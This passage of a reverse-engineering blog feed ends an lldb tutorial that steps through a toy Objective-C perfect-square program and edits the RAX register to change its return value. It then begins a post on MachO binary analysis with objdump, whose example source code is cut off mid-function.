<span class="hljs-number">3</span>: <span class="hljs-keyword">address</span> <span class="hljs-operator">=</span> myNumberExtended[<span class="hljs-number">0x0000000100003868</span>], locations <span class="hljs-operator">=</span> <span class="hljs-number">1</span> Options: disabled 
  <span class="hljs-number">3.1</span>: where <span class="hljs-operator">=</span> myNumberExtended`<span class="hljs-operator">-</span>[myNumber nearestPerfectSquare] <span class="hljs-operator">+</span> <span class="hljs-number">344</span>, <span class="hljs-keyword">address</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x0000000100003868</span>, unresolved, hit count <span class="hljs-operator">=</span> <span class="hljs-number">4</span> 

<span class="hljs-number">4</span>: <span class="hljs-keyword">address</span> <span class="hljs-operator">=</span> myNumberExtended[<span class="hljs-number">0x0000000100003861</span>], locations <span class="hljs-operator">=</span> <span class="hljs-number">1</span>
  <span class="hljs-number">4.1</span>: where <span class="hljs-operator">=</span> myNumberExtended`<span class="hljs-operator">-</span>[myNumber nearestPerfectSquare] <span class="hljs-operator">+</span> <span class="hljs-number">337</span>, <span class="hljs-keyword">address</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x0000000100003861</span>, unresolved, hit count <span class="hljs-operator">=</span> <span class="hljs-number">0</span>
</code></pre><p>Now if we run the program, the execution will stop once the <code>RIP</code> (instruction pointer - we'll come back on this later) hits the value 0x0000000100003848. In fact:</p>
<pre><code><span class="hljs-string">(lldb)</span> <span class="hljs-string">r</span>
<span class="hljs-attr">Process 4310 launched:</span> <span class="hljs-string">'/Users/gbiondo/EXP312/Debugging/myNumberExtended'</span> <span class="hljs-string">(x86_64)</span>
<span class="hljs-number">2022-03-30 14:05:50.875159</span><span class="hljs-string">+0100</span> <span class="hljs-string">myNumberExtended[4310:5367748]</span> <span class="hljs-string">Checking</span> <span class="hljs-string">perfect</span> <span class="hljs-string">square</span>
<span class="hljs-number">2022-03-30 14:05:50.875445</span><span class="hljs-string">+0100</span> <span class="hljs-string">myNumberExtended[4310:5367748]</span> <span class="hljs-number">144</span> <span class="hljs-string">is</span> <span class="hljs-string">a</span> <span class="hljs-string">perfect</span> <span class="hljs-string">square</span>
<span class="hljs-number">2022-03-30 14:05:50.875456</span><span class="hljs-string">+0100</span> <span class="hljs-string">myNumberExtended[4310:5367748]</span> <span class="hljs-string">Checking</span> <span class="hljs-string">perfect</span> <span class="hljs-string">square</span>
<span class="hljs-number">2022-03-30 14:05:50.875463</span><span class="hljs-string">+0100</span> <span class="hljs-string">myNumberExtended[4310:5367748]</span> <span class="hljs-number">155</span> <span class="hljs-string">is</span> <span class="hljs-string">not</span> <span class="hljs-string">a</span> <span class="hljs-string">perfect</span> <span class="hljs-string">square</span>
<span class="hljs-number">2022-03-30 14:05:50.875470</span><span class="hljs-string">+0100</span> <span class="hljs-string">myNumberExtended[4310:5367748]</span> <span class="hljs-string">Looking</span> <span class="hljs-string">for</span> <span class="hljs-string">perfect</span> <span class="hljs-string">squares</span>
<span class="hljs-number">2022-03-30 14:05:50.875477</span><span class="hljs-string">+0100</span> <span class="hljs-string">myNumberExtended[4310:5367748]</span> <span class="hljs-string">Checking</span> <span class="hljs-string">perfect</span> <span class="hljs-string">square</span>
<span class="hljs-number">2022-03-30 14:05:50.875483</span><span class="hljs-string">+0100</span> <span class="hljs-string">myNumberExtended[4310:5367748]</span> <span class="hljs-string">The</span> <span class="hljs-string">nearest</span> <span class="hljs-string">square</span> <span class="hljs-string">is</span> <span class="hljs-string">the</span> <span class="hljs-string">lowest</span> <span class="hljs-string">one</span>
<span class="hljs-string">Process</span> <span class="hljs-number">4310 </span><span class="hljs-string">stopped</span>
<span class="hljs-string">*</span> <span class="hljs-string">thread</span> <span class="hljs-comment">#1, queue = 'com.apple.main-thread', stop reason = breakpoint 4.1</span>
    <span class="hljs-string">frame</span> <span class="hljs-comment">#0: 0x0000000100003861 myNumberExtended`-[myNumber nearestPerfectSquare] + 337</span>
<span class="hljs-string">myNumberExtended`-[myNumber</span> <span class="hljs-string">nearestPerfectSquare]:</span>
<span class="hljs-string">-&gt;</span>  <span class="hljs-number">0x100003861</span> <span class="hljs-string">&lt;+337&gt;:</span> <span class="hljs-string">mov</span>    <span class="hljs-string">al,</span> <span class="hljs-number">0x0</span>
    <span class="hljs-number">0x100003863</span> <span class="hljs-string">&lt;+339&gt;:</span> <span class="hljs-string">call</span>   <span class="hljs-number">0x100003cda</span>               <span class="hljs-string">;</span> <span class="hljs-attr">symbol stub for:</span> <span class="hljs-string">NSLog</span>
    <span class="hljs-number">0x100003868</span> <span class="hljs-string">&lt;+344&gt;:</span> <span class="hljs-string">mov</span>    <span class="hljs-string">eax,</span> <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">rbp</span> <span class="hljs-bullet">-</span> <span class="hljs-number">0x14</span>]
    <span class="hljs-number">0x10000386b</span> <span class="hljs-string">&lt;+347&gt;:</span> <span class="hljs-string">add</span>    <span class="hljs-string">rsp,</span> <span class="hljs-number">0x50</span>
<span class="hljs-attr">Target 0:</span> <span class="hljs-string">(myNumberExtended)</span> <span class="hljs-string">stopped.</span>
</code></pre><p>We give the command <code>n</code> (short for <code>thread step-over</code>) twice, reaching the address <code>-[myNumber nearestPerfectSquare] + 344</code> and obtain:</p>
<pre><code><span class="hljs-string">(lldb)</span> <span class="hljs-string">n</span>
<span class="hljs-string">Process</span> <span class="hljs-number">4310 </span><span class="hljs-string">stopped</span>
<span class="hljs-string">*</span> <span class="hljs-string">thread</span> <span class="hljs-comment">#1, queue = 'com.apple.main-thread', stop reason = instruction step over</span>
    <span class="hljs-string">frame</span> <span class="hljs-comment">#0: 0x0000000100003863 myNumberExtended`-[myNumber nearestPerfectSquare] + 339</span>
<span class="hljs-string">myNumberExtended`-[myNumber</span> <span class="hljs-string">nearestPerfectSquare]:</span>
<span class="hljs-string">-&gt;</span>  <span class="hljs-number">0x100003863</span> <span class="hljs-string">&lt;+339&gt;:</span> <span class="hljs-string">call</span>   <span class="hljs-number">0x100003cda</span>               <span class="hljs-string">;</span> <span class="hljs-attr">symbol stub for:</span> <span class="hljs-string">NSLog</span>
    <span class="hljs-number">0x100003868</span> <span class="hljs-string">&lt;+344&gt;:</span> <span class="hljs-string">mov</span>    <span class="hljs-string">eax,</span> <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">rbp</span> <span class="hljs-bullet">-</span> <span class="hljs-number">0x14</span>]
    <span class="hljs-number">0x10000386b</span> <span class="hljs-string">&lt;+347&gt;:</span> <span class="hljs-string">add</span>    <span class="hljs-string">rsp,</span> <span class="hljs-number">0x50</span>
    <span class="hljs-number">0x10000386f</span> <span class="hljs-string">&lt;+351&gt;:</span> <span class="hljs-string">pop</span>    <span class="hljs-string">rbp</span>
<span class="hljs-attr">Target 0:</span> <span class="hljs-string">(myNumberExtended)</span> <span class="hljs-string">stopped.</span>
<span class="hljs-string">(lldb)</span> <span class="hljs-string">n</span>
<span class="hljs-number">2022-03-30 14:10:34.213710</span><span class="hljs-string">+0100</span> <span class="hljs-string">myNumberExtended[4310:5367748]</span> <span class="hljs-string">Returning</span> <span class="hljs-string">the</span> <span class="hljs-string">value</span>
<span class="hljs-string">Process</span> <span class="hljs-number">4310 </span><span class="hljs-string">stopped</span>
<span class="hljs-string">*</span> <span class="hljs-string">thread</span> <span class="hljs-comment">#1, queue = 'com.apple.main-thread', stop reason = instruction step over</span>
    <span class="hljs-string">frame</span> <span class="hljs-comment">#0: 0x0000000100003868 myNumberExtended`-[myNumber nearestPerfectSquare] + 344</span>
<span class="hljs-string">myNumberExtended`-[myNumber</span> <span class="hljs-string">nearestPerfectSquare]:</span>
<span class="hljs-string">-&gt;</span>  <span class="hljs-number">0x100003868</span> <span class="hljs-string">&lt;+344&gt;:</span> <span class="hljs-string">mov</span>    <span class="hljs-string">eax,</span> <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">rbp</span> <span class="hljs-bullet">-</span> <span class="hljs-number">0x14</span>]
    <span class="hljs-number">0x10000386b</span> <span class="hljs-string">&lt;+347&gt;:</span> <span class="hljs-string">add</span>    <span class="hljs-string">rsp,</span> <span class="hljs-number">0x50</span>
    <span class="hljs-number">0x10000386f</span> <span class="hljs-string">&lt;+351&gt;:</span> <span class="hljs-string">pop</span>    <span class="hljs-string">rbp</span>
    <span class="hljs-number">0x100003870</span> <span class="hljs-string">&lt;+352&gt;:</span> <span class="hljs-string">ret</span>    
<span class="hljs-attr">Target 0:</span> <span class="hljs-string">(myNumberExtended)</span> <span class="hljs-string">stopped.</span>
</code></pre><p>Now it is time to examine the value of registers:</p>
<pre><code><span class="hljs-string">(lldb)</span> <span class="hljs-string">register</span> <span class="hljs-string">read</span> 
<span class="hljs-attr">General Purpose Registers:</span>
       <span class="hljs-string">rax</span> <span class="hljs-string">=</span> <span class="hljs-number">0xe62a2c872238004d</span>
       <span class="hljs-string">rbx</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00000001000c8060</span>
       <span class="hljs-string">rcx</span> <span class="hljs-string">=</span> <span class="hljs-number">0x000000010080b040</span>
       <span class="hljs-string">rdx</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000000</span>
       <span class="hljs-string">rdi</span> <span class="hljs-string">=</span> <span class="hljs-number">0x000000010080b040</span>
       <span class="hljs-string">rsi</span> <span class="hljs-string">=</span> <span class="hljs-number">0x000000010080b040</span>
       <span class="hljs-string">rbp</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00007ff7bfeff860</span>
       <span class="hljs-string">rsp</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00007ff7bfeff810</span>
        <span class="hljs-string">r8</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00007ff7bfeff5c0</span>
        <span class="hljs-string">r9</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000040</span>
       <span class="hljs-string">r10</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000000</span>
       <span class="hljs-string">r11</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000246</span>
       <span class="hljs-string">r12</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00000001000903a0</span>  <span class="hljs-string">dyld`_NSConcreteStackBlock</span>
       <span class="hljs-string">r13</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00007ff7bfeff978</span>
       <span class="hljs-string">r14</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000100003990</span>  <span class="hljs-string">myNumberExtended`main</span>
       <span class="hljs-string">r15</span> <span class="hljs-string">=</span> <span class="hljs-number">0x000000010007c010</span>  <span class="hljs-string">dyld`dyld4::sConfigBuffer</span>
       <span class="hljs-string">rip</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000100003868</span>  <span class="hljs-string">myNumberExtended`-[myNumber</span> <span class="hljs-string">nearestPerfectSquare]</span> <span class="hljs-string">+</span> <span class="hljs-number">344</span>
    <span class="hljs-string">rflags</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000206</span>
        <span class="hljs-string">cs</span> <span class="hljs-string">=</span> <span class="hljs-number">0x000000000000002b</span>
        <span class="hljs-string">fs</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000000</span>
        <span class="hljs-string">gs</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000000</span>
</code></pre><p>Observe that <code>RIP</code>, the Instruction Point Register, points to the next instruction to be ran. Remembering that we <em>know no assembly at all</em>, we take another step in the debug and see how the values of the registers change:</p>
<pre><code><span class="hljs-string">(lldb)</span> <span class="hljs-string">s</span>
<span class="hljs-string">Process</span> <span class="hljs-number">4310 </span><span class="hljs-string">stopped</span>
<span class="hljs-string">*</span> <span class="hljs-string">thread</span> <span class="hljs-comment">#1, queue = 'com.apple.main-thread', stop reason = instruction step into</span>
    <span class="hljs-string">frame</span> <span class="hljs-comment">#0: 0x000000010000386b myNumberExtended`-[myNumber nearestPerfectSquare] + 347</span>
<span class="hljs-string">myNumberExtended`-[myNumber</span> <span class="hljs-string">nearestPerfectSquare]:</span>
<span class="hljs-string">-&gt;</span>  <span class="hljs-number">0x10000386b</span> <span class="hljs-string">&lt;+347&gt;:</span> <span class="hljs-string">add</span>    <span class="hljs-string">rsp,</span> <span class="hljs-number">0x50</span>
    <span class="hljs-number">0x10000386f</span> <span class="hljs-string">&lt;+351&gt;:</span> <span class="hljs-string">pop</span>    <span class="hljs-string">rbp</span>
    <span class="hljs-number">0x100003870</span> <span class="hljs-string">&lt;+352&gt;:</span> <span class="hljs-string">ret</span>    
    <span class="hljs-number">0x100003871</span> <span class="hljs-string">&lt;+353&gt;:</span> <span class="hljs-string">nop</span>    <span class="hljs-string">word</span> <span class="hljs-string">ptr</span> <span class="hljs-string">cs:[rax</span> <span class="hljs-string">+</span> <span class="hljs-string">rax]</span>
<span class="hljs-attr">Target 0:</span> <span class="hljs-string">(myNumberExtended)</span> <span class="hljs-string">stopped.</span>
<span class="hljs-string">(lldb)</span> <span class="hljs-string">register</span> <span class="hljs-string">read</span>
<span class="hljs-attr">General Purpose Registers:</span>
       <span class="hljs-string">rax</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000090</span>
       <span class="hljs-string">rbx</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00000001000c8060</span>
       <span class="hljs-string">rcx</span> <span class="hljs-string">=</span> <span class="hljs-number">0x000000010080b040</span>
       <span class="hljs-string">rdx</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000000</span>
       <span class="hljs-string">rdi</span> <span class="hljs-string">=</span> <span class="hljs-number">0x000000010080b040</span>
       <span class="hljs-string">rsi</span> <span class="hljs-string">=</span> <span class="hljs-number">0x000000010080b040</span>
       <span class="hljs-string">rbp</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00007ff7bfeff860</span>
       <span class="hljs-string">rsp</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00007ff7bfeff810</span>
        <span class="hljs-string">r8</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00007ff7bfeff5c0</span>
        <span class="hljs-string">r9</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000040</span>
       <span class="hljs-string">r10</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000000</span>
       <span class="hljs-string">r11</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000246</span>
       <span class="hljs-string">r12</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00000001000903a0</span>  <span class="hljs-string">dyld`_NSConcreteStackBlock</span>
       <span class="hljs-string">r13</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00007ff7bfeff978</span>
       <span class="hljs-string">r14</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000100003990</span>  <span class="hljs-string">myNumberExtended`main</span>
       <span class="hljs-string">r15</span> <span class="hljs-string">=</span> <span class="hljs-number">0x000000010007c010</span>  <span class="hljs-string">dyld`dyld4::sConfigBuffer</span>
       <span class="hljs-string">rip</span> <span class="hljs-string">=</span> <span class="hljs-number">0x000000010000386b</span>  <span class="hljs-string">myNumberExtended`-[myNumber</span> <span class="hljs-string">nearestPerfectSquare]</span> <span class="hljs-string">+</span> <span class="hljs-number">347</span>
    <span class="hljs-string">rflags</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000206</span>
        <span class="hljs-string">cs</span> <span class="hljs-string">=</span> <span class="hljs-number">0x000000000000002b</span>
        <span class="hljs-string">fs</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000000</span>
        <span class="hljs-string">gs</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000000</span>
</code></pre><p>We observe that the only two registers that have changed are <code>RAX</code> and obviously <code>RIP</code>.  Furthermore, <code>RAX</code>  contains exactly the value we are looking for (0x90) - we can conjecture that this register will contain the return value for the subroutine. If this is true, we may want to change it in a way that contains a number we decide - let's say <code>0x1723</code>, or <code>5923</code>.</p>
<p>To do so, it would suffice to launch the command:</p>
<pre><code>(lldb) register <span class="hljs-keyword">write</span> rax <span class="hljs-number">0x1723</span>
(lldb) register <span class="hljs-keyword">read</span> rax 
     rax = <span class="hljs-number">0x0000000000001723</span>
</code></pre><p>and see the printout in the main program.</p>
<p>We hit <code>n</code> a couple of times to return to the main program (the <code>ret</code> instruction):</p>
<pre><code><span class="hljs-string">(lldb)</span> <span class="hljs-string">s</span>
<span class="hljs-string">Process</span> <span class="hljs-number">4310 </span><span class="hljs-string">stopped</span>
<span class="hljs-string">*</span> <span class="hljs-string">thread</span> <span class="hljs-comment">#1, queue = 'com.apple.main-thread', stop reason = instruction step into</span>
    <span class="hljs-string">frame</span> <span class="hljs-comment">#0: 0x000000010000386f myNumberExtended`-[myNumber nearestPerfectSquare] + 351</span>
<span class="hljs-string">myNumberExtended`-[myNumber</span> <span class="hljs-string">nearestPerfectSquare]:</span>
<span class="hljs-string">-&gt;</span>  <span class="hljs-number">0x10000386f</span> <span class="hljs-string">&lt;+351&gt;:</span> <span class="hljs-string">pop</span>    <span class="hljs-string">rbp</span>
    <span class="hljs-number">0x100003870</span> <span class="hljs-string">&lt;+352&gt;:</span> <span class="hljs-string">ret</span>    
    <span class="hljs-number">0x100003871</span> <span class="hljs-string">&lt;+353&gt;:</span> <span class="hljs-string">nop</span>    <span class="hljs-string">word</span> <span class="hljs-string">ptr</span> <span class="hljs-string">cs:[rax</span> <span class="hljs-string">+</span> <span class="hljs-string">rax]</span>
    <span class="hljs-number">0x10000387b</span> <span class="hljs-string">&lt;+363&gt;:</span> <span class="hljs-string">nop</span>    <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">rax</span> <span class="hljs-string">+</span> <span class="hljs-string">rax</span>]
<span class="hljs-attr">Target 0:</span> <span class="hljs-string">(myNumberExtended)</span> <span class="hljs-string">stopped.</span>
<span class="hljs-string">(lldb)</span> <span class="hljs-string">n</span>
<span class="hljs-string">Process</span> <span class="hljs-number">4310 </span><span class="hljs-string">stopped</span>
<span class="hljs-string">*</span> <span class="hljs-string">thread</span> <span class="hljs-comment">#1, queue = 'com.apple.main-thread', stop reason = instruction step over</span>
    <span class="hljs-string">frame</span> <span class="hljs-comment">#0: 0x0000000100003870 myNumberExtended`-[myNumber nearestPerfectSquare] + 352</span>
<span class="hljs-string">myNumberExtended`-[myNumber</span> <span class="hljs-string">nearestPerfectSquare]:</span>
<span class="hljs-string">-&gt;</span>  <span class="hljs-number">0x100003870</span> <span class="hljs-string">&lt;+352&gt;:</span> <span class="hljs-string">ret</span>    
    <span class="hljs-number">0x100003871</span> <span class="hljs-string">&lt;+353&gt;:</span> <span class="hljs-string">nop</span>    <span class="hljs-string">word</span> <span class="hljs-string">ptr</span> <span class="hljs-string">cs:[rax</span> <span class="hljs-string">+</span> <span class="hljs-string">rax]</span>
    <span class="hljs-number">0x10000387b</span> <span class="hljs-string">&lt;+363&gt;:</span> <span class="hljs-string">nop</span>    <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">rax</span> <span class="hljs-string">+</span> <span class="hljs-string">rax</span>]

<span class="hljs-string">myNumberExtended`-[myNumber</span> <span class="hljs-string">isPrime]:</span>
    <span class="hljs-number">0x100003880</span> <span class="hljs-string">&lt;+0&gt;:</span>   <span class="hljs-string">push</span>   <span class="hljs-string">rbp</span>
<span class="hljs-attr">Target 0:</span> <span class="hljs-string">(myNumberExtended)</span> <span class="hljs-string">stopped.</span>

<span class="hljs-string">(lldb)</span> <span class="hljs-string">s</span>
<span class="hljs-string">*</span> <span class="hljs-string">thread</span> <span class="hljs-comment">#1, queue = 'com.apple.main-thread', stop reason = instruction step over</span>
    <span class="hljs-string">frame</span> <span class="hljs-comment">#0: 0x0000000100003b28 myNumberExtended`main + 408</span>
<span class="hljs-string">myNumberExtended`main:</span>
<span class="hljs-string">-&gt;</span>  <span class="hljs-number">0x100003b28</span> <span class="hljs-string">&lt;+408&gt;:</span> <span class="hljs-string">mov</span>    <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">rbp</span> <span class="hljs-bullet">-</span> <span class="hljs-number">0x3c</span>]<span class="hljs-string">,</span> <span class="hljs-string">eax</span>
    <span class="hljs-number">0x100003b2b</span> <span class="hljs-string">&lt;+411&gt;:</span> <span class="hljs-string">mov</span>    <span class="hljs-string">rdi,</span> <span class="hljs-string">qword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">rbp</span> <span class="hljs-bullet">-</span> <span class="hljs-number">0x18</span>]
    <span class="hljs-number">0x100003b2f</span> <span class="hljs-string">&lt;+415&gt;:</span> <span class="hljs-string">mov</span>    <span class="hljs-string">rsi,</span> <span class="hljs-string">qword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">rip</span> <span class="hljs-string">+</span> <span class="hljs-number">0x467a</span>] <span class="hljs-string">;</span> <span class="hljs-string">"value"</span>
    <span class="hljs-number">0x100003b36</span> <span class="hljs-string">&lt;+422&gt;:</span> <span class="hljs-string">call</span>   <span class="hljs-string">qword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">rip</span> <span class="hljs-string">+</span> <span class="hljs-number">0x4c4</span>]   <span class="hljs-string">;</span> <span class="hljs-string">(void</span> <span class="hljs-string">*)0x00007ff812cde040:</span> <span class="hljs-string">objc_msgSend</span>
<span class="hljs-attr">Target 0:</span> <span class="hljs-string">(myNumberExtended)</span> <span class="hljs-string">stopped.</span>
<span class="hljs-string">(lldb)</span> <span class="hljs-string">register</span> <span class="hljs-string">read</span> 
<span class="hljs-attr">General Purpose Registers:</span>
       <span class="hljs-string">rax</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000001723</span>
       <span class="hljs-string">rbx</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00000001000c8060</span>
       <span class="hljs-string">rcx</span> <span class="hljs-string">=</span> <span class="hljs-number">0x000000010080b040</span>
       <span class="hljs-string">rdx</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000000</span>
       <span class="hljs-string">rdi</span> <span class="hljs-string">=</span> <span class="hljs-number">0x000000010080b040</span>
       <span class="hljs-string">rsi</span> <span class="hljs-string">=</span> <span class="hljs-number">0x000000010080b040</span>
       <span class="hljs-string">rbp</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00007ff7bfeff8c0</span>
       <span class="hljs-string">rsp</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00007ff7bfeff870</span>
        <span class="hljs-string">r8</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00007ff7bfeff5c0</span>
        <span class="hljs-string">r9</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000040</span>
       <span class="hljs-string">r10</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000000</span>
       <span class="hljs-string">r11</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000246</span>
       <span class="hljs-string">r12</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00000001000903a0</span>  <span class="hljs-string">dyld`_NSConcreteStackBlock</span>
       <span class="hljs-string">r13</span> <span class="hljs-string">=</span> <span class="hljs-number">0x00007ff7bfeff978</span>
       <span class="hljs-string">r14</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000100003990</span>  <span class="hljs-string">myNumberExtended`main</span>
       <span class="hljs-string">r15</span> <span class="hljs-string">=</span> <span class="hljs-number">0x000000010007c010</span>  <span class="hljs-string">dyld`dyld4::sConfigBuffer</span>
       <span class="hljs-string">rip</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000100003b28</span>  <span class="hljs-string">myNumberExtended`main</span> <span class="hljs-string">+</span> <span class="hljs-number">408</span>
    <span class="hljs-string">rflags</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000206</span>
        <span class="hljs-string">cs</span> <span class="hljs-string">=</span> <span class="hljs-number">0x000000000000002b</span>
        <span class="hljs-string">fs</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000000</span>
        <span class="hljs-string">gs</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000000</span>
</code></pre><p>Hitting a few times <code>n</code> until we reach <code>myNumberExtended`main + 442</code>, and then hitting it again, we obtain:</p>
<pre><code><span class="hljs-number">2022-03-30 14:31:40.787665</span><span class="hljs-string">+0100</span> <span class="hljs-string">myNumberExtended[4310:5367748]</span> <span class="hljs-string">The</span> <span class="hljs-string">nearest</span> <span class="hljs-string">square</span> <span class="hljs-string">to</span> <span class="hljs-number">155</span> <span class="hljs-string">is</span> <span class="hljs-number">5923</span>
<span class="hljs-string">Process</span> <span class="hljs-number">4310 </span><span class="hljs-string">stopped</span>
<span class="hljs-string">*</span> <span class="hljs-string">thread</span> <span class="hljs-comment">#1, queue = 'com.apple.main-thread', stop reason = instruction step over</span>
    <span class="hljs-string">frame</span> <span class="hljs-comment">#0: 0x0000000100003b4f myNumberExtended`main + 447</span>
<span class="hljs-string">myNumberExtended`main:</span>
<span class="hljs-string">-&gt;</span>  <span class="hljs-number">0x100003b4f</span> <span class="hljs-string">&lt;+447&gt;:</span> <span class="hljs-string">mov</span>    <span class="hljs-string">rdi,</span> <span class="hljs-string">qword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">rbp</span> <span class="hljs-bullet">-</span> <span class="hljs-number">0x20</span>]
    <span class="hljs-number">0x100003b53</span> <span class="hljs-string">&lt;+451&gt;:</span> <span class="hljs-string">mov</span>    <span class="hljs-string">rsi,</span> <span class="hljs-string">qword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">rip</span> <span class="hljs-string">+</span> <span class="hljs-number">0x4666</span>] <span class="hljs-string">;</span> <span class="hljs-string">"nearestPerfectSquare"</span>
    <span class="hljs-number">0x100003b5a</span> <span class="hljs-string">&lt;+458&gt;:</span> <span class="hljs-string">call</span>   <span class="hljs-string">qword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">rip</span> <span class="hljs-string">+</span> <span class="hljs-number">0x4a0</span>]   <span class="hljs-string">;</span> <span class="hljs-string">(void</span> <span class="hljs-string">*)0x00007ff812cde040:</span> <span class="hljs-string">objc_msgSend</span>
    <span class="hljs-number">0x100003b60</span> <span class="hljs-string">&lt;+464&gt;:</span> <span class="hljs-string">mov</span>    <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">rbp</span> <span class="hljs-bullet">-</span> <span class="hljs-number">0x40</span>]<span class="hljs-string">,</span> <span class="hljs-string">eax</span>
<span class="hljs-attr">Target 0:</span> <span class="hljs-string">(myNumberExtended)</span> <span class="hljs-string">stopped.</span>
</code></pre><p>So, our conjecture was right.</p>
<h1 id="heading-conclusions">Conclusions</h1>
<p>This is a very long article. The idea behind it is to show how <code>lldb</code> can be used, and to ignite some itch for assembly programming.
I will come back on these kind of exercises - I find them quite funny :) 
'til next time...</p>
]]></content:encoded></item><item><title><![CDATA[MachO Binary Analysis with objdump]]></title><description><![CDATA[Abstract
In my previous article Building a binary, I went through the compilation phase in quite an abstract fashion.
Here I do the same exercise with a pseudo-real world example, a simple Objective C program.
We will see how the compilation model wo...]]></description><link>https://blog.reveng3.org/macho-binary-analysis-with-objdump</link><guid isPermaLink="true">https://blog.reveng3.org/macho-binary-analysis-with-objdump</guid><category><![CDATA[hacking]]></category><category><![CDATA[operating system]]></category><category><![CDATA[coding]]></category><dc:creator><![CDATA[Gabriele Biondo]]></dc:creator><pubDate>Mon, 28 Mar 2022 13:48:18 GMT</pubDate><content:encoded><![CDATA[<h2 id="heading-abstract">Abstract</h2>
<p><em>In my previous article <a target="_blank" href="https://blog.reveng3.org/building-a-binary">Building a binary</a>, I went through the compilation phase in quite an abstract fashion.</em></p>
<p><em>Here I do the same exercise with a pseudo-real world example, a simple Objective C program.</em></p>
<p><em>We will see how the compilation model works, and we will conjecture how the MachO utilities work, by taking a look at the disassembled code of the supplied program</em></p>
<h1 id="heading-compiling-some-code">Compiling some code</h1>
<p>We will work with the following code:</p>
<pre><code><span class="hljs-comment">//</span>
<span class="hljs-comment">//  main.m</span>
<span class="hljs-comment">//  DebugMe</span>
<span class="hljs-comment">//</span>
<span class="hljs-comment">//  Created by Gabriel Biondo on 24/03/2022.</span>
<span class="hljs-comment">//</span>

<span class="hljs-meta">#import <span class="hljs-meta-string">&lt;Foundation/Foundation.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdlib.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;time.h&gt;</span></span>

<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> STRING_FORMAT       @<span class="hljs-meta-string">"%@"</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> START_MSG           @<span class="hljs-meta-string">"INITIALISING RANDOMNESS"</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> GENERATE            @<span class="hljs-meta-string">"GENERATING RANDOM NUMBER"</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> MAXIMUM             123</span>


<span class="hljs-class"><span class="hljs-keyword">@interface</span> <span class="hljs-title">myNumber</span>: <span class="hljs-title">NSObject</span></span>

<span class="hljs-keyword">@property</span> <span class="hljs-keyword">int</span> value;

- (Boolean) isPerfectSquare;
- (<span class="hljs-keyword">int</span>) nearestPerfectSquare;
- (Boolean) isPrime;
- (<span class="hljs-keyword">void</span>) randomInit;

<span class="hljs-keyword">@end</span>

<span class="hljs-class"><span class="hljs-keyword">@implementation</span> <span class="hljs-title">myNumber</span></span>

- (<span class="hljs-keyword">void</span>) randomInit {
